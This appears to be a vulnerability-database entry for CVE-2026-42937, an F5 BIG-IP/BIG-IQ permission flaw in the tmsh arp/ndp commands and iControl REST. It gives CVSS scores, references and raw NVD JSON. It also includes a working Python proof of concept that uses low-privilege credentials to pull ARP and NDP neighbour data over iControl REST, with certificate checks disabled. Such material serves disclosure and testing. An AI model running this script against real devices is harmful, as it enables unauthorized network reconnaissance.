CVE-2026-42937

Description

Incorrect permission assignment vulnerabilities exist in BIG-IP and BIG-IQ TMOS Shell (tmsh) arp and ndp commands, and in BIG-IP iControl REST. These vulnerabilities may allow an authenticated attacker to view adjacent network information. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

F5 BIG-IP (具体受影响版本请参考官方公告K000161018)

F5 BIG-IQ (具体受影响版本请参考官方公告K000161018)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import json
import urllib3

# Suppress SSL warnings for demonstration
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# CVE-2026-42937 PoC: Information Disclosure via iControl REST
# Target: F5 BIG-IP / BIG-IQ
# Note: Requires valid authentication credentials (low privilege)

def check_cve(target_ip, username, password):
    # iControl REST endpoint for ARP or NDP
    # Attacker tries to access network neighbor info which should be restricted
    endpoints = [
        f"https://{target_ip}/mgmt/tm/net/arp",
        f"https://{target_ip}/mgmt/tm/net/ndp"
    ]

    headers = {
        "Content-Type": "application/json"
    }

    for endpoint in endpoints:
        try:
            print(f"[*] Testing endpoint: {endpoint}")
            response = requests.get(
                endpoint,
                auth=(username, password),
                headers=headers,
                verify=False,
                timeout=10
            )

            if response.status_code == 200:
                data = response.json()
                if "items" in data and len(data["items"]) > 0:
                    print(f"[+] Vulnerable! Successfully retrieved neighbor information.")
                    print(f"[+] Data sample: {json.dumps(data['items'][:2], indent=2)}")
                    return True
            else:
                print(f"[-] Status Code: {response.status_code}")
        except Exception as e:
            print(f"[-] Error connecting to {endpoint}: {e}")
    
    return False

if __name__ == "__main__":
    # Replace with actual target details
    target = "192.168.1.100"
    user = "test_user"
    pwd = "test_pass"
    
    check_cve(target, user, pwd)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-42937
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-42937
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-42937/
[4] VulDB https://vuldb.com/cve/CVE-2026-42937
[5] https://my.f5.com/manage/s/article/K000161018

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-42937", "sourceIdentifier": "[email protected]", "published": "2026-05-13T16:16:50.050", "lastModified": "2026-05-13T16:27:11.127", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect permission assignment vulnerabilities exist in BIG-IP and BIG-IQ TMOS Shell (tmsh) arp and ndp commands, and in BIG-IP iControl REST. These vulnerabilities may allow an authenticated attacker to view adjacent network information. \n\n\n\nNote: Software versions which have reached End of Technical Support (EoTS) are not evaluated."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-732"}]}], "references": [{"url": "https://my.f5.com/manage/s/article/K000161018", "source": "[email protected]"}]}}